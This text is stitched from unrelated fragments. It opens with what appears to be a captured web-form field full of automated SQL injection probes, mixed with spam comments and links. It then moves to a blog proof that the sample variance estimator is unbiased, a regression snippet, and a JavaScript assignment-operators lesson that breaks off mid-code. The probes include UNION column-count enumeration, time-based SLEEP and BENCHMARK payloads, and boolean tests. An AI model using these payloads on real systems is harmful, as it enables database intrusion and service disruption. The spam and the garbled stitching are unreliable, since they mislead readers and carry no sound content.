NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-7868\"))) OR ELT(8831=8859,8859) AND (((\"JXLF\" LIKE \"JXLF\n\nDMti\n\nwocb';SELECT SLEEP(45) OR 'vrCW'='tKOe\n\nsBph\n\n-3874) OR 7672=8802#\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nDMti\n\n-3267\" OR ELT(3175=5678,5678) AND \"SFhV\" LIKE \"SFhV\n\nsBph');SELECT SLEEP(45)#\n\nwocb')) AS qBJZ WHERE 3749=3749;SELECT SLEEP(45)-- EQzY\n\n-1357)) OR 6799=1077#\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nDMti\n\n-5319\" OR ELT(9612=9612,7487) AND \"pQCo\" LIKE \"pQCo\n\nsBph');SELECT SLEEP(45) AND ('ZEpD'='ZEpD\n\nwocb\")) AS XaMQ WHERE 3017=3017;SELECT SLEEP(45)-- nnJm\n\n-4329)) OR 2139=2139#\n\nPckg' ORDER BY 1#\n\nDMti\n\nsBph');(SELECT * FROM (SELECT(SLEEP(45)))mTpp)#\n\n-4864\" OR ELT(4865=1568,1568) AND \"swCx\" LIKE \"swCx\n\nDMti\n\nwocb') AS MbbG WHERE 7590=7590;SELECT SLEEP(45)-- NBkq\n\n-5327)) OR 1290=5524#\n\nPckg' UNION ALL SELECT NULL#\n\nsBph');(SELECT * FROM (SELECT(SLEEP(45)))bQaI) AND ('CKSX'='CKSX\n\n-1876' OR ELT(4702=6760,6760) OR 'FnPW'='GVow\n\n-9275))) OR 5261=1179#\n\nwocb\") AS IpEN WHERE 6977=6977;SELECT SLEEP(45)-- rvYS\n\nsBph');SELECT BENCHMARK(45000000,MD5(0x68467374))#\n\nPckg' UNION ALL SELECT NULL,NULL#\n\nDMti\n\n-4174' OR ELT(9612=9612,7487) OR 'APxy'='iTPn\n\nsBph');SELECT BENCHMARK(45000000,MD5(0x4a724367)) AND ('VzJN'='VzJN\n\nwocb\"=\"wocb\";SELECT SLEEP(45) AND \"wocb\"=\"wocb\n\nPckg' UNION ALL SELECT NULL,NULL,NULL#\n\nDMti\n\n-5456' OR ELT(8731=9939,9939) OR 'zHAl'='PHKz\n\n-7127))) OR 2139=2139#\n\nsBph') AND (SELECT 5349 FROM (SELECT(SLEEP(45)))tlRs) AND ('GKgR'='GKgR\n\nwocb);SELECT SLEEP(45)-- BkwZ\n\n-6329))) OR 9515=4472#\n\n-7560')) AS zaMH WHERE 9333=9333 OR ELT(9171=2199,2199)-- VZXP\n\nDMti\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL#\n\nsBph') OR (SELECT 9791 FROM (SELECT(SLEEP(45)))HLwC) AND ('KNuA'='KNuA\n\nwocb);SELECT SLEEP(45) AND (8796=8796\n\n-6000')) AS cRhL WHERE 2812=2812 OR ELT(9612=9612,7487)-- DUjx\n\n-3667 OR 8991=2559#\n\nDMti\n\nsBph') AND SLEEP(45) AND ('EYHB'='EYHB\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#\n\nwocb));SELECT SLEEP(45) AND ((8739=8739\n\n-9252 OR 2139=2139#\n\nDMti\n\nsBph') OR SLEEP(45) AND ('uoxY'='uoxY\n\n-8278')) AS EftT WHERE 3756=3756 OR ELT(8911=7048,7048)-- XEII\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#\n\nwocb)));SELECT SLEEP(45) AND (((2860=2860\n\nsBph') AND SLEEP(45)#\n\nDMti\n\n-2256 OR 9706=4600#\n\nwocb;SELECT SLEEP(45)\n\nsBph') OR SLEEP(45)#\n\nDMti\n\n-8505)) AS IdZY WHERE 1210=1210 OR 5887=4128#\n\nwocb;SELECT SLEEP(45)-- EIPq\n\n-1000\")) AS ZbBY WHERE 3648=3648 OR ELT(4495=4653,4653)-- MWlw\n\nDMti\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\n-6242)) AS NZqM WHERE 5956=5956 OR 2139=2139#\n\nwocb;SELECT SLEEP(45)# gYJI\n\n-1829\")) AS yArs WHERE 3717=3717 OR ELT(9612=9612,7487)-- HzGz\n\nDMti\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nwocb)) AS KsLj WHERE 1425=1425;SELECT SLEEP(45)-- bsAa\n\n-6084)) AS Nxai WHERE 7373=7373 OR 4122=4301#\n\nDMti\n\nsBph') AND (SELECT 8531 FROM (SELECT(SLEEP(45)))UAOq)#\n\n-6599\")) AS RrzK WHERE 6104=6104 OR ELT(5675=4718,4718)-- dXml\n\nwocb) AS drir WHERE 7454=7454;SELECT SLEEP(45)-- KOhU\n\n-7768) AS ttBY WHERE 8349=8349 OR 8304=8989#\n\n-4816') AS qnKp WHERE 4584=4584 OR ELT(5918=1152,1152)-- uxGj\n\nwocb` WHERE 5710=5710;SELECT SLEEP(45)-- mMjc\n\nsBph') OR (SELECT 8580 FROM (SELECT(SLEEP(45)))ZnGs)#\n\n-1365') AS BqTF WHERE 1659=1659 OR ELT(9612=9612,7487)-- QiKK\n\n-6680) AS Ymji WHERE 1696=1696 OR 2139=2139#\n\nwocb`) WHERE 8720=8720;SELECT SLEEP(45)-- gWgq\n\nsBph') AND 8085=BENCHMARK(45000000,MD5(0x6c425a68)) AND ('OrOA'='OrOA\n\n-9620') AS Frnn WHERE 6573=6573 OR ELT(1212=5625,5625)-- hCcq\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\n-8630) AS Acpy WHERE 1504=1504 OR 9841=9643#\n\nwocb`=`wocb`;SELECT SLEEP(45) AND `wocb`=`wocb\n\nLcaz') OR NOT 6398=8233#\n\nDMti\n\n-3745\") AS NZVP WHERE 3213=3213 OR ELT(7958=4767,4767)-- nGCy\n\nsBph') OR 8922=BENCHMARK(45000000,MD5(0x4c47454b)) AND ('TaJG'='TaJG\n\nwocb]-(SELECT 0 WHERE 4299=4299;SELECT SLEEP(45))|[wocb\n\nLcaz') OR NOT 6271=6271#\n\n-3166\") AS rQpX WHERE 1869=1869 OR ELT(9612=9612,7487)-- erCI\n\nsBph') AND 8787=BENCHMARK(45000000,MD5(0x6849626a))#\n\nDMti\n\nsBph') ORDER BY 1-- -\n\nsBph') UNION ALL SELECT NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') ORDER BY 1#\n\nsBph') UNION ALL SELECT NULL#\n\nsBph') UNION ALL SELECT NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nHi, nice to meet you! Subcontract out me advance myselft I'm pretty easy going and down to earth. I enjoy Programming with my friends which we try to every month. https://zenwriting.net/mintjeff3/4-incredible-facial-treatment-examples\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\n-8603') ORDER BY 1#\n\n-9060') UNION ALL SELECT 2959#\n\n-9687') UNION ALL SELECT 7007,7007#\n\n-4553') UNION ALL SELECT 4132,4132,4132#\n\n-8934') UNION ALL SELECT 9715,9715,9715,9715#\n\n-3071') UNION ALL SELECT 6956,6956,6956,6956,6956#\n\n-4406') UNION ALL SELECT 1310,1310,1310,1310,1310,1310#\n\n-3219') UNION ALL SELECT 1451,1451,1451,1451,1451,1451,1451#\n\n-9989') UNION ALL SELECT 8009,8009,8009,8009,8009,8009,8009,8009#\n\n-3860') UNION ALL SELECT 2122,2122,2122,2122,2122,2122,2122,2122,2122#\n\n-9183') UNION ALL SELECT 1722,1722,1722,1722,1722,1722,1722,1722,1722,1722#\n\nHi, Are you still in business? I found a few errors on your site. Would you like me to send over a screenshot of those errors? Regards Jacob (647) 503 0317\n\n-4365') UNION ALL SELECT 1996,1996,1996,1996,1996,1996,1996,1996,1996,1996,1996#\n\n-7780') UNION ALL SELECT 9110,9110,9110,9110,9110,9110,9110,9110,9110,9110,9110,9110#\n\n-8428') UNION ALL SELECT 9768,9768,9768,9768,9768,9768,9768,9768,9768,9768,9768,9768,9768#\n\n-9089') UNION ALL SELECT 2568,2568,2568,2568,2568,2568,2568,2568,2568,2568,2568,2568,2568,2568#\n\n-8793') UNION ALL SELECT 6338,6338,6338,6338,6338,6338,6338,6338,6338,6338,6338,6338,6338,6338,6338#\n\n-5762') UNION ALL SELECT 7807,7807,7807,7807,7807,7807,7807,7807,7807,7807,7807,7807,7807,7807,7807,7807#\n\n-9002') UNION ALL SELECT 4981,4981,4981,4981,4981,4981,4981,4981,4981,4981,4981,4981,4981,4981,4981,4981,4981#\n\n-4800') UNION ALL SELECT 7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629,7629#\n\n-5680') UNION ALL SELECT 1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681,1681#\n\n-3571') UNION ALL SELECT 4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907,4907#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\nsBph') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\n\n-2422') UNION ALL SELECT 5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430,5430#\n\n-9640') UNION ALL SELECT 8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925,8925#\n\n-7031') UNION ALL SELECT 2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695,2695#\n\nHi, nice to upon you! Subcontract out me advance myselft I like to play baseball on Saturdays with my co-workers. I love meeting people so contact me. https://telegra.ph/Most-Noticeable-Chemical-Peels-08-10\n\n[url=http://77pro.org/vosstanovit-fajly-psd.html]\\xd0\\x92\\xd0\\xbe\\xd1\\x81\\xd1\\x81\\xd1\\x82\\xd0\\xb0\\xd0\\xbd\\xd0\\xbe\\xd0\\xb2\\xd0\\xb8\\xd1\\x82\\xd1\\x8c \\xd0\\xbf\\xd0\\xbe\\xd0\\xb2\\xd1\\x80\\xd0\\xb5\\xd0\\xb6\\xd0\\xb4\\xd0\\xb5\\xd0\\xbd\\xd0\\xbd\\xd1\\x8b\\xd0\\xb5 \\xd1\\x84\\xd0\\xb0\\xd0\\xb9\\xd0\\xbb\\xd1\\x8b Photoshop[/url]" ]

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[ "# Unbiased Estimator of Sample Variance – Vol. 2\n\nLately I received some criticism saying that my proof (link to proof) on the unbiasedness of the estimator for the sample variance strikes through its unnecessary length. Well, as I am an economist and love proofs which read like a book, I never really saw the benefit of bowling down a proof to a couple of lines. Actually, I hate it if I have to brew over a proof for an hour before I clearly understand what’s going on. However, in order to satisfy the need for mathematical beauty, I looked around and found the following proof which is way shorter than my original version.\n\nIn order to prove that the estimator of the sample variance is unbiased we have to show the following:\n\n(1)", null, "$\\mathbb E(S^2)= \\mathbb E\\left(\\frac{\\sum_{i=1}^n (X_i - \\bar X)^2}{n-1}\\right) = \\sigma^{2}$\n\nHowever, before getting really to it, let’s start with the usual definition of notation. So for this proof it is important to know that\n\n(2)", null, "$X_1, X_2 , ..., X_n$ are independent observations from a population with mean", null, "$\\mu$ and variance", null, "$\\sigma^{2}$\n\n(3)", null, "$\\mathbb E(X_i) = \\mu$\n\n(4)", null, "$\\mathbb Var(X_i)= \\sigma^{2}$\n\n(5)", null, "$\\mathbb E(X^2) = \\sigma^{2} + \\mu^{2}$\n\n(6)", null, "$\\mathbb Var(X)=\\mathbb E(X^2)-\\mathbb [E(X)]^2$\n\n(7)", null, "$\\mathbb E(\\bar{X}^2) = \\frac{\\sigma^2}{n} + \\mu^2$\n\nLet’s try to show that\n\n(8)", null, "$\\mathbb E(X^2) = \\mathbb Var(X) + \\mathbb E(X)^2$\n\nTo make my life easier, I will omit the limits of summation from now onwards, but let it be known that we are always summing from", null, "$1$ to", null, "$n$.\n\n(9)", null, "$\\mathbb E\\left(\\sum^{N}_{i=1} (X_i - \\bar X)^2 \\right) = \\mathbb E\\left(\\sum^{N}_{i=1} X_{i}^2 - 2 \\bar X \\sum^{N}_{i=1} X_i + n \\bar X^2 \\right)$\n\n(10)", null, "$\\mathbb E\\left(\\sum^{N}_{i=1} (X_i - \\bar X)^2 \\right) = \\sum^{N}_{i=1} \\mathbb E(X_{i}^2) - \\mathbb E\\left(n \\bar X^2 \\right)$\n\n(11)", null, "$\\mathbb E\\left(\\sum^{N}_{i=1} (X_i - \\bar X)^2 \\right) = n \\sigma^2 + n \\mu^2 - \\sigma^2 -n \\mu^2$\n\n(12)", null, "$\\mathbb E\\left(\\sum^{N}_{i=1} (X_i - \\bar X)^2 \\right) = (n-1)\\sigma^2$\n\nCombining equiation 1 with equation 12 brings us to:\n\n(13)", null, "$\\mathbb E(S^2)= \\mathbb E\\left(\\frac{\\sum^{N}_{i=1} (X_i - \\bar X)^2}{n-1}\\right) = \\frac{1}{n-1} \\mathbb E\\left(\\sum^{N}_{i=1} (X_i - \\bar X)^2 \\right)$\n\n(14)", null, "$\\mathbb E(S^2) = \\frac {(n-1)\\sigma^2}{n-1} = \\sigma^2$\n\nFinally, we showed that the estimator for the population variance is indeed unbiased. If you are mathematically adept you probably had no problem to follow every single step of this proof. However, if you are like me and want to be taken by hand through every single step you can find the exhaustive proof here.\n\n## 11 thoughts on “Unbiased Estimator of Sample Variance – Vol. 2”\n\n1.", null, "Arash Sioofy says:\n\nsteps 8 and 10 are the same terms.\n\n1.", null, "isidorebeautrelet says:\n\nYou are right! I am going to fix it!\n\n2.", null, "isidorebeautrelet says:\n\nIts done 🙂\n\n2.", null, "sigmaoverrootn says:\n\n“Finally, we showed that the estimator for the sample variance is indeed unbiased.”\n\nwe are trying to estimate an unknown population parameter namely ‘sigma^2’: population variance, with a known quantity that is ‘s^2’: sample variance\ntherefore, ‘s^2’ is an estimator for ‘sigma^2’\nthe conclusion should be:\n“the estimator for population variance is indeed unbiased”\n\n1.", null, "ad says:\n\nHello and thank you for your very useful comment. I will definively consider it. Cheers!\n\n3.", null, "Maurice says:\n\nHi! I don’t get how the assumptions (5) and (7) are justified. Can someone help?\n\n1.", null, "ad says:\n\nHi. These are just some basic variance properties. You can find them on Wikipedia under https://en.wikipedia.org/wiki/Variance. Hope it helps.\n\n4.", null, "FC says:\n\n1.", null, "ad says:" ]

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[ "# Tag Info\n\nIn the first model, the coefficient on $X_2$ (i.e., $b_3$) corresponds to the expected slope of $X_2$ on $Y$ when $X_1=0$. Omitting this term as in the second model is essentially forcing the coefficient on $X_2$ to be equal to zero. If that coefficient is indeed zero in the population, then there is no harm in setting it to zero, but typically researchers ..." ]

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[ "# Activity: Assignment Operators\n\nAssignment Operators are assignments that also perform an operator on the variable. They are used in JavaScript to modify the value.\n\n## Concept: `||variables:change by||`\n\nThe `||variables:change by||` block was very commonly used to modify the value a variable was assigned to when programming in Blocks.\n\nThis can be accomplished in JavaScript by using the variable itself in the equation:\n\n``num = num + 5;``\n\nThis works because the equation on the right side of the assignment operator is evaluated first, and the result of that equation is assigned to the variable on the right side.\n\nFor example, if `||variables:num||` stored `4` before the code above, the right hand side of the equation would first be evaluated to `9`, and then `||variables:num||` would be reassigned `9` as it’s new value.\n\nModifying a value in this way is a very common task, so JavaScript and other languages introduce the `+=` operator, which will add the value on the right side to the value currently stored on the left side.\n\nUsing the `+=` operator, the example code above can also be written as\n\n``num += 5;``\n\nThis process of condensing the expression extends to all operators, so…\n\n• `num -= 5;` is equivalent to `num = num - 5;`\n• `num *= 5;` is equivalent to `num = num * 5;`\n• `num /= 5;` is equivalent to `num = num / 5;`\n\nThese are called Assignment Operators, like `=`.\n\n## Example #1: Seconds in an Hour\n\n1. Review the code below\n2. Observe how assignment operators are used to modify the `||variables:seconds||` variable\n3. Identify the two values that are `||game:splashed||`\n``````let seconds: number = 1;\nseconds *= 60;\ngame.splash(seconds + \" seconds in a minute\");\nseconds *= 60;\ngame.splash(seconds + \" seconds in an hour\");``````\n\n## Student Task #1: Seconds in a Week\n\n2. After the second `||game:game.splash||`, use an assignment operator to make `||variables:seconds||` store the number of seconds in a day\n3. `||game:Splash||` the new value of `||variables:seconds||`. Make sure to include a description of the value to match the previous values that were `||game:splashed||`\n4. Use another assignment operator to make `||variables:seconds||` store the number of seconds in a week\n5. `||game:Splash||` the new value of `||variables:seconds||`, along with it’s corresponding description\n6. Challenge: repeat this process for both the seconds in a month, and seconds in a year\n\nFor the challenge, you can use an estimate of 4 weeks per month and 12 months per year.\n\n## Concept: Increment and Decrement\n\nIn JavaScript, it is very common to add or subtract one from a value: for example, to count the number of times a button was pressed, or the index in a loop.\n\nIn JavaScript, there are several Assignment Operators that can do this. For example, both `num = num + 1;` and `num += 1;` will result in `||variables:num||` being incremented by 1.\n\nHowever, because this is such a common task, there is an even shorter way to write it. This is done using the Increment Operator, represented by two plus signs. `num++;` is equivalent to the two expressions above.\n\nSimilarly, the Decrement Operator is represented by two minus signs, meaning `num = num - 1;` is the same as both `num -= 1;` and `num--;`.\n\n## Example #2: Incrementing Values\n\n1. Review the code below\n2. Identify how the increment operator is used to change the value of `||variables:myNumber||`\n``````let myNumber = 5;\ngame.splash(myNumber + \" is too low!\");\nmyNumber++;\nmyNumber++;\ngame.splash(myNumber + \" is too high!\");``````\n\n## Student Task #2: Just Right\n\n2. Use the decrement operator to lower of `||variables:myNumber||` by 1\n3. `||game:Splash||` `||variables:myNumber||` with the description “ is just right!”\n\n## Concept: Appending Strings\n\nThe Assignment Operator `||math:+=||` can also be useful when adding to strings.\n\nValues can be appended using the `||math:+=||` operator. For example, the following snippet:\n\n``````let phrase: string = \"hello\";\nphrase = phrase + \" world\";``````\n\ncan also be written:\n\n``````let phrase: string = \"hello\";\nphrase += \" world\";``````\n\nThis allows for strings to be “built” by adding pieces to them as necessary.\n\n## Example #3: Food Order\n\n1. Review the code written below\n2. Identify how the `||math:+=||` operator is used to build up an `||variables:order||` string\n``````let order: string = \"I would like to eat \";\nlet food: string = game.askForString(\"What would you like to eat?\");\norder += food;\norder += \". I would also like to drink \";\n\nlet drink: string = game.askForString(\"What would you like to drink?\");\norder += drink;\norder += \".\";\n\ngame.splash(order);``````\n\n1. Copy the code from the example above\n2. Modify the code so that it also prompts the user “What dessert would you like”\n3. Append to `||variables:order||` the sentence “ For dessert, I would like “ followed by the dessert the user requested\n4. Append a “.” to end the sentence\n5. Challenge: instead of storing the variables `||variables:food||`, `||variables:drink||`, and `||variables:dessert||`, append the result of `||game:game.askForString||` directly to `||variables:order||`\n\n## What did we learn?\n\n1. Explain how the different increment, decrement, and assignment operators can be useful for modifying a number `||variables:variable||`.\n\nBefore moving on to the next lesson, it is recommended that you check out the selected problems for this section to review the material and practice the concepts introduced in this section.\n\n## Case Study\n\n### Personal Message\n\nModify the code so that the user is prompted for their name before the `||game:splash screen||`, and then use their name in the introduction. Use the string append operator to build up the introduction\n\n### Captain Whoever\n\nWe’ve decided to make the game into a space adventure, so the player should have a title. Before asking their name, start with the title “Captain “, and then just append the name they enter onto the name; this way, they will be addressed as Captain whenever their name is used.\n\n### Solution\n\n``````namespace SpriteKind {\nexport const Asteroid = SpriteKind.create();\n}\n\nnamespace asteroids {\nsprites.onCreated(SpriteKind.Asteroid, function (sprite: Sprite) {\nsprite.setFlag(SpriteFlag.AutoDestroy, true);\nsetPosition(sprite, 